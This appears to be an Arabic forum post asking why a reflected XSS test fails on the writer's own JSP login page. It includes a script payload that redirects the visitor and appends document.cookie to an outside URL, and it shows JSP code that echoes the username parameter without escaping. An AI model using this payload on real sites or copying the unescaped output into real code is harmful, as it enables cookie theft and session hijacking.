اخواني الاعزاء احاول حقن كود عندي بال XSS لغرض ما و الكود هو عباره عن صفحة jsp و فيها فورم و انا اكتب السكريبت التالي داخل مكان اسم المستخدم في الفورم لكن لم يظهر لي شي بالله عليكم ساعدوني
السكريبت الذي احقنه :
<script>document.location='https://www.google.com.sa/?'+document.cookie </script>
صفحة jsp :
<%--
Document : index
Created on : 29/04/2011, 02:51:49 م
Author : toshiba
--%>
<%@page contentType="text/html" pageEncoding="UTF-8"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<%
out.print("welcome"+request.getParameter("username"));
//out.print("<script>document.location='https://www.google.com.sa/?'+document.cookie </script>");
%>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>JSP Page</title>
</head>
<body>
<form method="get" >
<table>
<tr>
<td>User Name</td>
<td><input type="text" name="username"/></td>
</tr>
<tr>
<td>Password</td>
<td><input type="password" name="password"/></td>
</tr>
<tr>
<td></td>
<td><input type="submit" value="Submit"/></td>
</tr>
</table>
</form>
</body>
</html>